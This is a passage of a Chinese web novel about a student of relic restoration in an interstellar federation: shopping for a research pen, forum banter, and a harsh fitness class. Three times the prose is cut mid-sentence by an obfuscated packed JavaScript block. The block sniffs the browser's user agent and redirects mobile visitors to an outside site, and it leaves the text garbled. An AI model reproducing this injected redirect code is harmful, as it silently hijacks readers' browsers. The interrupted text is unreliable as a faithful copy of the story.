【W082SAB41137】：“但有一种情况另当别论。假如一段运行多年的源纹遭到破坏，尚未完全消散的源感力依然附着在源纹上，生物体误食这段源纹将会在短时间内发生明显的显性变化，并有可能因此改变源力基因分子，进而产生进化或变异。” 仲丘没有多想，以为荀玉的问题只是出于好奇心。 他离开废星后径直带着文物碎片去了文物研究院，作为文物研究院特派星际一区的首席，在A星有自己的独立研究室。精准鉴定文物碎片需要耗费大量时间和精力，另外他负责的几个研究任务分别进入到关键阶段，他必须时刻盯着，早把其他事情忘到了九霄云外。 此时仲丘才看到废星上的小丫头发给他的消息，他还想说些什么，研究室的文物研究员拿着鉴定报告走了过来，“院长，一测结果出来了。” 仲丘收起光脑，粗略翻了翻，“也不是A级？” 研究院摇摇头，“这些文物碎片没有得到恰当的保存，而且这个修复师在操作过程中出现了很多不该有的低级失误，使文物碎片降级了。保守估计这些碎片只能鉴定为C级，只有一块碎片可以达到B级。” 仲丘倒是没有多大意外，他在废星的时候被突如其来的惊喜冲昏了头脑，过于激动了，在回A星的飞船上才渐渐冷静下来。 新的文物资源哪里这么好找，想要打破联邦现有的局面也不是一朝一夕就能完成的。那个小丫头在闭塞的废星还能自己琢磨出修复文物的办法，实在是个学文物的好苗子。看时间学院已经开学了，等他忙完他得亲自回学院一趟。 仲丘拿着鉴定报告走之前，不忘纠正许舟：“她现在还不是修复师。” 许舟一愣，随即反应过来院长是在回复他前面说的话。 不是修复师？ 那他怎么会修复文物？他哪来的文物资源？ 莫非……是上等家族的孩子？ 出身上等家族的人从小就在文物学习的氛围中长大，最不缺的就是文物资源。普通研究员重金难求的文物，他们唾手可得。哪怕这个人源感力堪堪入门，上等家族也能用文物生生砸出一个天赋研究员。 对于他们来说，进入学院学习只是提升自己的必经阶段。他们往往能在三、四年级就参加通过率不足7％的文物研究员考核，进入五区的文物研究所。 看这个人的操作手法，明显没有经过系统的训练，大概率才进入学院学习了一年的时间，不过这也算天赋异禀了，许舟心想。 可院长不是向来对上等家族的孩子不感兴趣吗？ …… 荀玉直觉仲老像是还有什么话问她，但迟迟没有等来下面的消息。 口口声声说要玩游戏的崔晗已经迷迷糊糊睡下了，她睡前还对着荀玉说了句让她摸不着头脑的话：“荀荀，你真是个令人纠结的人。” 荀玉头顶冒了个大大的问号，奈何说话的人已经进入了梦乡。 她在空中做了个关灯的手势，宿舍悄然暗了下来。 机械灯在桌前散发着微弱的光，荀玉打开最近布鲁斯发来的照片。 变异巨鼠的样子已经趋于稳定，不再产生引人注目的变化。 荀玉翻遍了文物研究库所有公开资料，也没能找到相应的记载。结合仲老所说，生物体能够发生变化，必然可以证明源纹存在源感力。可变异巨鼠吃掉的源纹并没有被激活，上述结论明显与事实相违背。 ……到底哪里有问题。 文物研究像在迷雾四起的茫茫大海中寻找看不见的光。荀玉正式接触文物知识后，只感觉眼前的迷雾不仅没有消散，反而越来越浓了。 她不觉得自己聪明绝顶，在来到未来星际不出半年的时间里发现了他们二百多年都没发现过的问题。 是巧合吗？ 荀玉思索半晌，在笔记本上面写下了自己的疑问。 整理完自己的问题后，荀玉逛了会儿学院论坛，并发布了一条帖子。 【诚问，哪里可以买到文物研究员专用笔。】 事实证明，不论人类经历何种巨变，刻在基因里的习惯总是能以奇妙的方式延续下去。 两分钟之后荀玉得到了同为夜猫子刷帖人的回复。 【L1】：“？这你都不知道” 【L2】：“新入学的学弟妹吧？看这里。APP下载链接——［文物研究商城］” 【L3】：“楼上动作好快！这样我就不附链接了。文商的物品种类齐全，质量优良，价格也算说得过去，还管售后。最重要的一点，学生或研究员身份认证成功后，有不同程度的优惠！大家星网购置东西一般就在这里。” 【L4】：“最近文商还在搞活动，开学季和新生优惠可以一起使用。去年我刚入学什么也不知道直接错过了，楼主不要犹豫！” 【L5】：“文物研究员专用笔不要乱用，楼主至少要等到二年级或与老师确认过后才能使用，否则副作用很明显。” 【L5】：“血的教训，过来人的忠告加一。” 【L6】：“加一。” 荀玉认认真真在评论下面分别回复了“谢谢”，点击链接下载［文物研究商城］。 文物研究商城的头像是蓝底黑字，简洁明了，没有任何装饰，风格在众多花里胡哨的APP中自成一派。 首页物品推荐让人眼花缭乱，除了文物研究员专用笔，还有命名为“风月”、“青莲”、“疾风”等名称的文物残块或碎片，根据鉴定等级售价分别为三万积分至十七万积分不等；五区学院高年级学生使用过的二手课本和笔记，标价五千至一万积分；甚至还有篆刻源纹详解视频，有些价格竟然高达五十万至一百万积分！ 荀玉看得直咽唾沫，一百种发家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105482|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致富的方法在内心奔腾。 好在她还保留了一丝理智，没忘记自己逛文商的目的。 她在搜索一栏敲下了“文物研究员专用笔”，商城页面出现了169072个商品推荐窗口。 “文澜S型号10，下笔如有神，神笔马良也说好，你值得拥有！【高级文物研究员专用笔】——130000积分。” “文澜S型号10Pro，下笔如有神，你就是下一个神笔马良！【高级文物研究员专属】——150000积分。” “文澜S型号10ProMax，下笔自成神，你就是神笔马良！【超有逼格的高级文物研究员专属】——250000积分。” 荀玉：“……” 资本主义的世界里，一支笔也这么卷吗。 荀玉果断敲了客服窗口。 【人工客服——文商继承人：诚实守信的西西尼即将为您服务。】 【文商继承人：诚实守信的西西尼】：“嗨～亲爱的客户，您好。” 【乱码新用户】：“你好，我想买一款最有性价比的专用笔，请问有什么推荐吗？” 【文商继承人：诚实守信的西西尼】：“当然可以～请问您方便透露一下具体身份或是购买需求吗？” 【乱码新用户】：“学生，入门，性价比。” 【文商继承人：诚实守信的西西尼】：“好的～，根据您的需求，西西尼为您推荐该款商品。” “文澜基础型号12Pro，从入门到大师，这一路你走得如此丝滑。【学生安全最新专用版】——76000积分。” 只有最后两万积分的荀玉：“……” 【乱码新用户】：“贵了，便宜点。” 【文商继承人：诚实守信的西西尼】：“亲爱的顾客，商城最近正在搞活动呢，已经是最优惠的价格啦。西西尼为您推荐另一款商品。” “文澜基础型号12，从入门到大师，这一路你走得如此顺畅。【学生安全最新专用版】——65000积分。” 【乱码新用户】：“……还有其他的吗？” 【文商继承人：诚实守信的西西尼】：“西西尼为您推荐另一款商品。” “文澜基础型号11，从入门到大师，从不磕绊。【学生安全专用版】——45000积分。” 【乱码新用户】：“还是贵。” 【文商继承人：诚实守信的西西尼】：“亲爱的顾客，文物研究员专用笔更新换代的速度十分迅速呦。最新版综合了顾客需求与研发进度，安全性能十分达标，入门者更好操作。旧版存在安全隐患，且灵敏度不高，不建议购买哦。” 荀玉面不改色继续输入。 【乱码新用户】：“谢谢你的提醒。可是它太新了，对我来说没有难度，还有旧一点的吗？” 屏幕对面的西尼：“……” 这哪来的装逼穷鬼？ 加百利肩膀搭着毛巾，在远处喊他，“西尼，队长通知十分钟后集合。” “哦，好的！” 西尼低头应着，不得不尽快处理掉手中的业务。 他们在的地方是一个巨大的封闭式训练场，墙壁正中央镶嵌着手拿镰刀的学院标识，下方黑字金边，写着“阿瑞斯研究学院”。 19. 文物研究商城（2） 【文商继承人：诚实守信的西西尼】：“这款可以吗？西西尼推荐了一款商品。” 对面失去了些许耐心，对顾客的尊称都已经消失了。 【乱码新用户】：“还差一点点。” 【文商继承人：诚实守信的西西尼】：“那这一款呢？” “文澜基础型号9代，陪伴入门者的不二选择。温馨提醒：该款即将停止生产，不建议使用。——24980积分。” 荀玉用优惠券算了算，发现这个价格正处于两万积分上限。 【乱码新用户】：“……还是差一点。” 【文商继承人：诚实守信的西西尼】：“差什么？！到底哪里差一点？我家商品哪里不让您满意了？！” 【乱码新用户】：“不是你家商品差一点，是我的钱还差一点。请问还有更优惠的价格吗？” 人工客服沉默了。 文物研究成本居高不下，这个价格已经是文物界最低的界限了。如果不是西尼坚守客服职业道德，他真的很想问问对面：你这么穷学什么文物。 【乱码新用户】：“你是文物研究商城的继承人？那你可以动用权限通融一下吗？” 自从使用了这个名字之后，西尼遇到了诸如“你要是文商继承人我就是你爸爸”“文商继承人？我还是机械未来继承人呢傻逼”“孩子别白日做梦了，你忘了你是我孙子？”等一系列遭遇。这还是第一次有人正儿八经把他当个人。 西尼感动了。 西尼决定忘记刚才对对方的嫌弃，给这个装逼的穷鬼走一次后门。 【文商继承人：诚实守信的西西尼】：“已为您申请继承人专属优惠，请领取～” 荀玉也是第一次发现客服竟如此好说话。 她美滋滋领取了两千积分的优惠，以一万九千积分的价格拿下了九代基础笔，自己还留有一些积分用以日常消费。 【【乱码新用户】为您的服务打了五星好评，亲爱的【文商继承人：诚实守信的西西尼】，请继续努力呦。】 西尼在退出账号之前收到了来自光脑的提醒，他心情舒畅地放下光脑，去找队员集合。 直到他们的队长艾萨克下楼，西尼的脸上还挂着难以言喻的笑容。 艾萨克难得多看了他两眼，不咸不淡问了一句：“你爸爸同意你做继承人了？” 西尼突然感觉心窝好痛，他脸上的笑容消失了，“……没有。” 加百利耸耸肩，毫不留情地又补上一刀：“那至少也得等他拿下文物联赛的冠军之后再说。” 维托捧着新摘的鲜花叽叽喳喳，今晚这些美丽的鲜花将要陪伴他入睡：“哦，天哪！西尼距离成为合格的继承人就像牛郎嫦娥那么遥远。” 西尼受不了了：“那是织女！你个笨蛋！维托你为什么总是那么吵？！” 西尼雀跃的心情跌入谷底，他走到队伍最后和泰德站在一起，留给了他们一个毫无震慑力的后脑勺，以此表示拒绝和他们讲话。 谁知向来沉默的泰德却皱起了眉头，“西尼，你生气时也应该保持独立，不然你是不会合格的。” 话毕，泰德回想了一番下等星球的个人独立小商户。他们拥有负债累累的个人资产，尽管平时畏畏缩缩，但还不上钱时总是理直气壮，在泰德眼里简直是独当一面的代表，西尼应该向他们学习。 西尼：“……” 这群人真的有朋友吗？ …… 荀玉偶获天降优惠后兴致大起，瞌睡消失了大半，趁着精神把文商逛了个遍。 文物研究商城不愧是全联邦最大的文物交易平台，就连文物领域相关的政策变动与名人八卦也被列入可交易范围，价格从个位数至上亿，可见人类作为乐子也有天上地下之分。 短短几分钟，荀玉亲眼见证了一个气急败坏的初级文物研究员在某个挂有【道德沦丧！一王姓研究员竟如此龌龊】字条的商品下面丧失理智。 【勤恳打工人小王】：“我**你*，哪个卑鄙小人挂我。” 【勤恳打工人小王】：“老子只是那天早上迟到没来得及穿内裤，又恰好穿了紧身衣。你他妈是哪个王八居然挂我贴身近照，明天老子就去查监控，等我查到你就完了！” 【勤恳打工人小王】：“拿老子的卖身钱换你的暴富梦，你的良心被狗吃了吗？！就三个积分你他妈卖到什么时候？！” 卖家实在看不下去了，于是忍不住回复他。 【做狗屎也要做A星的狗屎】：“是我想卖三个积分吗，关键是你也不值钱啊……” 【勤恳打工人小王】：“赵三顺？！！原来是你这个老贼，我*****你**，去死！！” 【做狗屎也要做A星的狗屎】：“！卧槽” 励志做A星狗屎的赵三顺光速携某照片溜走了。 【文物研究商城提醒您，该商品已下架，请看看别的吧~】 荀玉：“……” 荀玉还在身份认证那一栏发现了有别于文商简约风格的狂野派图标，名为“文物研究论坛”。 因荀玉已经认证了学生身份，文物研究论坛自动对她开放。 令荀玉有些意外的是，这个论坛虽然挂在文商名下，但看起来像是独立于文商系统，是个正儿八经的学术研究平台。 文物研究论坛注册账号共十五亿四千多万次，学者发表或购买文章、参与学术讨论等都可以获得积分。发表文章所获得的资金与平台五五分成，对一个资深文物研究员来说，这着实为一种一夜暴富的办法。 每条帖子根据最新发布时间与浏览量综合排名，研究的覆盖面甚广。 【青-M334系列文物修复调研报告——纹路复原与实践】 【残缺的古文字——从一撇一捺感知先人的文明】 【最新文物设计概览，论源纹与青软甲的重塑与建构】 【礼：宴饮规程篇】 学术论文与相关研究试看1000字，剩下的内容付费观看，每条帖子均价几百万积分。 荀玉看得叹为观止，一颗扎根基层的心渐渐向资本主义靠拢。 她想起那块觥的碎片，试着在搜索栏查询。 【很遗憾，没有相关字条，换个关键词试试吧。】 未来星际的文物似是没有专门的名称，文商挂着的商品也都是卖家根据文物风格自行命名的。荀玉于是换了个思路，在搜索栏描述了觥的外形。 【文章提到相关内容共4371篇，可以输入精准关键词进一步缩小范围哦~】 荀玉从四千多条帖子中一条条翻下去，终于找到了几篇疑似以“觥”为研究对象的研究报告。几千积分的价格在以百万为单位的帖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115612|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中显得格外惹人怜爱。 只浏览帖子的免费内容，除了个别专业术语与荀玉所知的大相径庭外，关键核心的基础研究部分并没有脱离文物本身。 荀玉经过对比后买了一篇研究较为深入的文章，细细浏览起来。 觥在未来星际被划分到了青-G190文物系列，文章全篇都在讲述文物碎片的修复过程，并毫不严谨地大肆猜测觥的年代、形状、用途，在文章最后标明了“以上没有经过科学鉴定，纯属推测，切勿当真。” 荀玉：“……” 另一篇鉴定报告则详细介绍了觥可能存在的时间段、大致形状，说明了是宴饮中的一种器具。但该文物碎片数量过于稀少，源感力稀缺，不具备研究价值。 除此之外，关于觥的有效研究内容几近于无。 荀玉靠在椅子休息的身体下意识直立起来，太笼统了……有些研究内容甚至存在问题。 不论是觥的文物碎片，还是觥纹，其中蕴含的能量绝对不符合“源感力稀缺”这个结论。 与猛虎作伴的巨型水牛，澎拜四溅的千丈瀑布，相互应和的飞鸟神兽，无论如何也不能寂寂无闻，消失在未来星际的历史浪潮中。 “嗯？荀荀你怎么还不睡？”崔晗从梦中醒来，语气有些朦胧。 荀玉的思维被拉了回来，她关掉光脑爬上对面的床，轻声问道：“我吵醒你了？” “唔——”崔晗想了想，她只是梦到荀玉和院长一起头对头吃剩饭，被她撞破时还热情地邀请她加入的场面，内心受到了一点儿冲击罢了。于是她肯定地说，“你没有吵醒我”，只是把我吓醒了。 荀玉觉得崔晗今晚上似乎怪怪的，她不由得又联想起崔晗说要玩游戏的场面。荀玉针对忽略同伴诉求这件事深刻反省了自己，她向崔晗许诺：“明天我一定把光脑给你。” 重新进入梦乡的崔晗没听清荀玉说了什么，只迷迷糊糊应道：“……好。” …… 课程按部就班地进行着，荀玉在短时间内重新建立起文物知识体系，如饥似渴地吸收着任何有关未来星际的知识。 授课文档、课程教材、数据资料、二手笔记……荀玉来者不拒，甚至老师的教案都被荀玉要了过来。 在什么都可以用光脑得到答案的年代，荀玉的《文物研究历史》倒背如流，任课老师啧啧称奇。“文物修复理论与实践”作业别的学生几人合作一周只能堪堪完成一份，荀玉一个人直接向老师交了三份。甚至“星际第一行政区特别发展纲要”这种公认的“水课”，荀玉都能学有所获，赢得老师的青睐。 匡文婷在任务点评时，以荀玉的作业为范本，让其他表现尚可的同学多多努力，向荀玉看齐，着重批评了混作业不求上进的一干人士。 匡老师语气讥讽，言辞犀利，不多浪费一口唾沫精准打击坐在下面的一群废物。学生们自觉对号入座，深感自己的尊严被按在地上狠狠摩擦。 原本大家可以相安无事地过日子，老师念叨归念叨，左耳进右耳出就完了，识时务者为俊杰，及时低头，下课拍拍衣服又是一个好汉。 奈何荀玉的存在感实在太强了，不仅无时无刻穿插在上课学习的时候，就连他们日常生活都受到了影响。 这下学习的不学习的，上进的混日子的，脾气不好的和脾气更不好的，全都怒了。 20. 体能训练 【L1】：“那个AB班的荀玉怎么回事儿？！数据作业这么复杂，老师给了半个月的时间，她五天就做完了，害得我们的截止时间全踏马提前了！” 【L6】：“她是怎么做到哪科内容都能背过的？？脑子里长了个光脑吗？靠！” 【L8】：“荀玉自己一个人完成任务后，小组作业全变成了单人任务，她是魔鬼吗？？” 【L11】：“再说一遍，荀玉是B班的，只是A、B班一起上课而已，她和A班没关系！我们A班也是受害者！！” 【L14】：“A班这么厉害居然也受影响了。” 【L15】：“源感力等级决定的是文物研究天赋的上限，目前的作业又不怎么和源感力挂钩，她那个学法谁能比得过？！” 【L19】：“你们A、B班在一起受到牵连也就算了，为什么D班的作业要求也跟着提高了？！” 【L20】：“楼上你这是什么话，什么叫我们受到牵连也就算了？” 【L25】：“我是躲在阴暗的角落里观察敌人的友军，相关证据表明荀玉昨晚于十一点二十三分才离开图书馆。” 【L28】：“……靠！昨晚这个时候我已经准备美美的玩会光脑然后睡下了。” 【L53】：“先别讨论了，荀玉现在在训练场，她人要不行了，快来看热闹！不是，快来关怀同学！” 【L59】：“训练场定位加一。宏观来讲其实所有人都很狼狈，只不过她最狼狈。爆笑捶地.JPG” 【L62】：“哦吼吼，天降报应！” 【L64】：“我到训练场了，她人在哪？！” 【L67】：“楼上你这么快，等等我！” …… 荀玉自从知道“身体素质与能力建设”本质上就是一堂体育课后，无时无刻不在为这节课的到来进行心里建设。 她作为德智美劳全面发展的四好学生，唯一尝过的败绩就在体育上面。哪怕曾被教练按头在操场上没日没夜地训练，荀玉也才一只脚迈进及格的大门。 距离这堂课的时间越来越近，荀玉的时间表也随之密集起来。尽管荀玉表面风平浪静，忙碌得脚踏实地，但崔晗还是嗅到了一丝不同寻常。 她将光脑放在一边，把椅子转向身后的荀玉，“荀荀，你已经来来回回走了一个小时了。” 荀玉拿着教材在不大的宿舍里来回踱步，“用动作加强对资料的记忆，这也是一种科学的背诵方法。晗晗，你要不要也试一下？” 崔晗撇撇嘴，“不要，你前几天背书的时候根本不这样。我看你就是心虚。” “！” 何止心虚，荀玉的四肢都在发虚，如果细看就能发现，课本遮掩下的双手都在发抖。她颤颤微微，“这都被你看出来了？” 崔晗咬着笔，看向莫名其妙变得焦躁，恨不得以头抢地的荀玉，“？” 发生什么了？她什么也没说啊。 一个月后，“身体素质与能力建设”这门课宛若巴巴多斯大炮，将远达太空的宏伟目标对准了荀玉，一炮轰进了她摇摇欲坠的世界。 “各位好，又见面了。再次自我介绍一下，卫凌丰，中级文物研究员，星一院战略指导老师。” 人造太阳炙烤着大地，整个训练场宛若蒸炉，荀玉等一众学生完全暴露在阳光下。他们面前的空地上孤零零放着一个喇叭，里面传来卫凌丰的提前录制的音频。 而卫凌丰本人，就坐在有阴凉地的不远处。 “各位同学可能会疑惑，一个文物研究员，为什么还需要进行体能训练。但这是你们自己的问题，我不负责解答。我的任务，就是让你们至少达到联邦预备军的选拔标准。” “成功入选联邦预备军，需要满足几个标准：一、身体机能优良。二、负重跑3公里，平均速度9米每秒。三、熟练操纵机甲。” “鉴于文物研究员的职业特性与能力要求，以上要求将会大大降低。你们只需要达到：身体机能基本合格，负重跑3公里，平均速度6.5米每秒，熟练操纵青软甲，就可以了。” “怎么样，是不是简单多了？既然如此，那就别在这站着了！” "全体都有，五公里跑，出发！" 人群中传来了抱怨的声音。 “五公里？怎么上来就跑步啊。” “我们将来是要成为文物研究员的，为什么要开设这种课，学院怎么想的。” “五公里虽然不难，但每次课跑五公里谁受得了。” 未来星际人类的身体素质普遍提升了一个档次，他们在联邦历史上被称作“新人类”，除了外在环境变化的因素，人类本身的自我进化也是区别于古文明时期“旧人类”的一大特征。 “啊什么啊，”喇叭精准预判学生的反应，卫凌丰的声音继续输出，“军校生每天二十公里家常便饭，五公里就要了你们的命了吗？” “五公里，八分钟，达不到要求的统统加练！” 卫凌丰配合着伸出计时器，随着喇叭一声令下：“预备——跑”，计时器上的数字飞速变化。 “艹！这就开始了！” “别愣着了，跑啊！” 学生带着愤懑兴奋好奇揉成一团的心情争先恐后地飞奔出去，荀玉混在人群中只感到绝望。 这槽蛋的人生，卷土重来了。 她一口气不上不下跟着大部队跑了几圈，随着部分学生体力不支，队伍越拉越长，人群渐渐分散开来。荀玉落在队伍最后面，喉咙干涩发紧，两条腿酸软无力。 喇叭出现在卫凌丰的手里，跟随它的主人对学生大肆嘲讽。 “快点快点，没吃饭吗？动起来！” “别嘻嘻哈哈的，这么有力气你要不多跑两圈。” “你们拉什么手？一起去死吗？赶紧给我分开！” “欸？”卫凌丰的视线里突然闯入一个瘦弱的身影，她要死不活的拖着自己那看起来不值几个钱的身躯在跑道上龟速前行。 “你！就你，跟我来学院报道那个。”卫凌丰一边感慨自己上了年纪依然记忆超群，一边用喇叭对着荀玉，“那么死气沉沉地干什么？！抬头！看着你前方的敌人。把腿抬起来！” 荀玉不想在这种时候备受关注，于是分出了一丁点力气依言抬头。放眼望去，她本应光明的前方现在稀稀拉拉全是人。 “……”更不想跑了。 “诶诶诶，就说你呢你怎么还停下了。抬起腿来！脚拖地算什么跑步！”卫凌丰像是不知道自己的一举一动多么招人讨厌，聒噪的声音通过喇叭滋滋啦啦传到每个人的耳朵里，简直是另一道酷刑。 第一次五公里结束，几乎所有人都不合格。 荀玉躺在地上气若游丝，发酵的酸痛从脚心蔓延到小腿。 卫凌丰的喇叭再次隆重登场。 “修整十分钟，一会儿负重跑。” “啊——还跑！”学生七扭八歪倒在地上，抱怨都有气无力。 不通人情的喇叭语气十分坚定：“背包已经为你们准备好了，就在你们的西南方向。基础负重10千克，会根据你们的能力进行增加。背包重量只增不减，谁也不许偷奸耍滑。” “三公里，十分钟。” “**艹！” 在一片叫骂声中，荀玉机智地选择闭嘴保存体力。不管学生愿不愿意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129439|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分钟一到，众人还是乖乖的去找属于自己的负重背包。 荀玉的背包是基础重量，相比于个别15千克的背包，荀玉只能安慰自己，还好她只有十千克。 新一轮酷刑在烈日下缓缓铺开，十分钟前的画面再次上演。 “跑这么慢，刚才你没休息吗？” “力气都用来说话了吧？现在怎么不像刚才抱怨的时候这么有劲？！” “不想把自己砸死就把包背好！” “怎么又是你？”卫凌丰一脸嫌弃，“快快快，你这和走路有什么区别。” 荀玉双腿如千斤般沉重，她顶着被汗水浸湿的头发在卫凌丰眼皮子底下缓缓移动，半天都没能脱离他的视线。 呼……呼——，这个老师……怎么，这么吵…… 新生入学以来，从未上过如此充实的课，身体和精神上的每一秒都不得空闲。卫凌丰说得“加训”最后当然没有实现，因为集体学生已经爬也爬不起来了。 卫凌丰对着地上的学生“啧”了一声，想起来还有个人留在跑道上。 他慢慢悠悠跑到荀玉旁边，大喇叭依旧招摇过市，“还能不能坚持？他们都已经到重点了，现在只有你还在跑道上，还行不行？！” 荀玉舌头发麻，双眼无法聚焦，已经听不清卫凌丰在说什么了。 她像只背着整座山的蜗牛，独自在贫瘠的路上缓慢爬行。 夕阳西下的操场，尘沙滚滚的荒漠，荒无人烟的郊野……体能向来是她的短板，外出任务时同事甚至要在百忙之中抽出精力拉她一把，防止她掉队。为了不拖后腿，她甚至为自己请了一位教练，专门提高自己的身体素质。 ……后来，荀玉第一次训练就后悔了。她累倒在跑道上的时候，心想自己真踏马疯了。肌肉的酸痛，血的腥甜，训练的苦楚，差点骨折的火辣辣的疼痛，还有汗水的咸，五毒俱全，只差咽气就可以直接送去火化了。 荀玉此时的境地和之前是如此的相似，亲自证明了什么是“爬”到终点线。 她倒下的前一秒，一个和她差不多大的身影摇摇晃晃接住了她。 崔晗拖着半个人升入天堂的荀玉到了不起眼的角落里，喂了她一点营养液，“荀荀，你还好吗？” 半晌，荀玉模糊的视线才逐渐清晰。 意识回笼，荀玉挣扎着坐起来，“晗晗，你怎么来了？” 崔晗镇定的表情差点没绷住，糟糕，忘记编理由了。她磕磕绊绊地说：“听……听说你们在上体能建设课，我刚好下课，过来看看。” “唔，谢谢你，还好你来了。”不然荀玉倒地那一下，脸必然破相。 崔晗眼神左右飘忽，“你还能站起来吗，我扶你回宿舍休息吧。” 荀玉还处在体力红线阶段，没发现崔晗的急切，更没能发现，训练场周围的人越来越多了。他们三三两两聚在一起，默契地朝同一个方向看来，几秒后又若无其事地朝别的地方看去。 于是崔晗搀扶着荀玉向外走去。 走到训练场门口，荀玉停住了，她表情疑惑：“为什么下课了还这么多人？” 崔晗低着头回复她：“可能大家都想来看看体能建设课是什么样子的吧。” “……哦。”荀玉没有怀疑崔晗的说法，只是有些奇怪，他们什么时候对课程内容这么积极了？ 难不成他们决定以后要奋发图强了？！ 荀玉一个激灵，疲惫不堪的身体突然回复了大半力气。她反手抓住崔晗，满面严肃，“晗晗，我们是时候学习了。” 听墙角的众人：“？！” 她不是刚从跑道上爬下来吗？！她要不要听听她在说些什么？！！ 21. 绘制觥纹 【L121】：“兄弟姐妹们，我们回来了！看看来自友军的战果。图片.JPG，图片.JPG，图片.JPG” 【L124】：“噗，拍得真好。荀玉这张图像乌龟背王八，给摄影师加鸡腿。” 【L125】：“哈哈哈哈楼上要不要这么搞笑，我正上课呢，憋得好难受。” 【L127】：“楼上真人才，这个形容绝了。我要拿来做表情包！” 【L131】：“讲真，体能建设这门课还挺吓人的，我们也要上了，有点忐忑。” 【L133】：“不止荀玉惨，训练场上的每个人都很惨。可是看121楼发的照片，感觉还是她惨哈哈哈哈哈哈哈哈哈。” 【L136】：“有什么好笑的？！好吧，我承认我有点过于幸灾乐祸了。乌龟背王八.JPG” 【L142】：“真·活学活用，快去总群里发一份，你们有的我不能没有！” 【L166】：“别聊了！荀玉从训练场出来察觉到了我们，她瘸着腿飞回去学习了！” 【L170】：“卧槽我的文物调研报告！儿子，等等爸爸，你千万别提前走啊！” 【L174】：“好一个险恶用心！靠，老子也要去写作业了。” 【L187】：“她还是不是人？？刚刚不是还半死不活的吗？！” 【L188】：“？？你们怎么都不说话了？” 【L189】：“一群叛徒！” 【L190】：“你们写到哪了，等等我！” 线上的众人一哄而散，手忙脚乱地挽救自己弱小无助的作业。 文物调研报告，星一院众多日常作业形式之一，在所有文物分类序列中选取其中一类或一种进行理论调查，并出具调查报告。这类作业在老师眼里，就是让一群脑袋空空的学生根据晦涩难懂的天书东拼西凑、缝缝补补出一只臭袜子，只可远观，不能细品，否则老师们永远踏不出治疗仓的大门。 青-G190文物系列也在可调查范围，这一系列除觥之外，还有很多以序号命名的其他文物。荀玉几次作业都以该文物系列为研究对象，锲而不舍的探查该系列下所有她认识的文物类别。 尚存有一口气的荀玉校对完报告后，提交至课程系统。最近老师布置作业的强度逐步增强，好在他们刚入学，内容浅显，时限宽松，应付起来还算得心应手。 荀玉没有将这一丁点不起眼的变化放在眼里，叼着营养液去了图书馆。她对觥纹的研究有些自己的想法，需要理论作证。 崔晗一脸敬佩地目送荀玉离开，双眼明亮，她好像知道怎么获得她想要的东西了。 她轻击键盘，发出了入学后的第一条评论。 【L200】：“听说她的作业已经完成了哦～” 一石激起千层浪。 【L201】：“什么？？！” 【L204】：“调研报告我从听到小道消息的那一刻起我就在写了，怎么还是没超过她？！那我整整两天不眠不休的意义何在？！！” 【L205】：“楼上你要发达怎么不叫兄弟们一起？！” 【L206】：“叫什么叫，我这不是半路夭折了吗。” 【L212】：“别浪费时间了，没写完的都抓紧点吧。我可不想感受速度与激情了。” 【L227】：“我刚从办公室出来，老师已经在接收荀玉的作业了。” 【L229】：“我有种不祥的预感……这把又要玩完了。” 【L233】：“虽然我不想乌鸦嘴，可是……我也这么觉得。” 【L236】：“老子的手都要抽筋了！” 崔晗笑得脸都酸了，酒窝跟着脸颊变得红彤彤的。 大家都在努力学习，真好。 爸爸没有骗她，学院真的是个很美好的地方。 崔晗放下光脑，开开心心地打开了《文物文字起源史》，那是她所属专业的教材。 她也要和大家一起努力了哦。 无人注意，一条帖子悄悄登上了学院论坛热榜，顽固地挂在榜单的尾巴上。 当然，老师收到作业后当晚满意地多吃了两碗米饭，洋洋洒洒写了三百字小作文表达了对荀玉的喜爱之情，并热血上头将众人的截止时间提前到了本周末，众学生不得不疾手如风，求爹告奶，挑灯夜战，一时之间百鬼夜行，怨气滔天，恨不得击杀荀玉以除后患等等，都是后话了。 …… 上等星球均为重要的交通枢纽，跃迁通道和星际航线在此处交汇，形成四通八达的巨型交通网。依赖该地理位置设立的中转站、星际快递驿站、货物周转中心等等数不胜数，从克洛蒂亚到星际一区，最快只需五个小时便能到达，物品运输只会更快，只要有钱。 文物研究商城在五区各自设立了线下门店，不过荀玉购买的“文澜基础型号9代"已经停产，只有文物研究院分店还保留了最后一道生产线。文商的员工不得不连夜加急赶出了最后一支基础9代，顶着大大的黑眼圈勒令客服赶紧将该商品下架。 客服满脸憋屈，基础9代是几年前的型号了，不会再有人买，停产是板上钉钉的事。除了举报、投诉等紧急事件，商品的调整需要等每月月底再说。他哪知道这个月就剩几天的时间了，小少爷登上账号就单单卖出这支笔。 紧赶慢赶，基础9代于一周后抵达星一院。 